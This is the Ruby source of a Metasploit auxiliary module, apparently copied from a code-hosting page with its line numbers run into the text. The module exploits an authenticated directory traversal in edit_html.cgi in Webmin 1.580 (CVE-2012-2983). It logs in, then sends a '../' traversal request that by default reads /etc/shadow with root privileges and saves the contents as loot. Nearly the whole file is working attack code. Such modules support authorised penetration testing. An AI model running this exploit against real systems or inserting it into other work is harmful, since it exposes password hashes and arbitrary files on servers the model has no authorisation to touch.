Path: blob/master/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access',14'Description' => %q{15This module exploits a directory traversal in Webmin 1.580. The vulnerability16exists in the edit_html.cgi component and allows an authenticated user with access17to the File Manager Module to access arbitrary files with root privileges. The18module has been tested successfully with Webmin 1.580 over Ubuntu 10.04.19},20'Author' => [21'Unknown', # From American Information Security Group22'juan vazquez' # Metasploit module23],24'License' => MSF_LICENSE,25'References' => [26['OSVDB', '85247'],27['BID', '55446'],28['CVE', '2012-2983'],29['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-002.pdf'],30['URL', 'https://github.com/webmin/webmin/commit/4cd7bad70e23e4e19be8ccf7b9f245445b2b3b80']31],32'DisclosureDate' => '2012-09-06',33'Actions' => [34['Download', { 'Description' => 'Download arbitrary file' }]35],36'DefaultAction' => 'Download',37'Notes' => {38'Stability' => [CRASH_SAFE],39'SideEffects' => [IOC_IN_LOGS],40'Reliability' => []41}42)43)4445register_options(46[47Opt::RPORT(10000),48OptBool.new('SSL', [true, 'Use SSL', true]),49OptString.new('USERNAME', [true, 'Webmin Username']),50OptString.new('PASSWORD', [true, 'Webmin Password']),51OptInt.new('DEPTH', [true, 'Traversal depth', 4]),52OptString.new('RPATH', [ true, 'The file to download', '/etc/shadow' ])53]54)55end5657def run58print_status('Attempting to login...')5960data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"6162res = send_request_cgi(63{64'method' => 'POST',65'uri' => '/session_login.cgi',66'cookie' => 'testing=1',67'data' => data68}, 2569)7071if res && (res.code == 302) && res.get_cookies =~ /sid/72session = res.get_cookies.scan(/sid=(\w+);*/).flatten[0] || ''73if session && !session.empty?74print_good 'Authentication successful'75else76print_error 'Authentication failed'77return78end79else80print_error 'Authentication failed'81return82end8384print_status("Attempting to retrieve #{datastore['RPATH']}...")8586traversal = '../' * datastore['DEPTH']87traversal << datastore['RPATH']88data = "file=#{traversal}&text=1"8990res = send_request_cgi(91{92'method' => 'GET',93'uri' => "/file/edit_html.cgi?#{data}",94'cookie' => "sid=#{session}"95}, 2596)9798if res && (res.code == 200) && res.body =~ /#{traversal}/ && res.body =~ %r{name=body>(.*)</textarea>}m99loot = ::Regexp.last_match(1)100f = ::File.basename(datastore['RPATH'])101path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH'])102print_good("#{datastore['RPATH']} saved in #{path}")103else104print_error('Failed to retrieve the file')105return106end107end108end109110111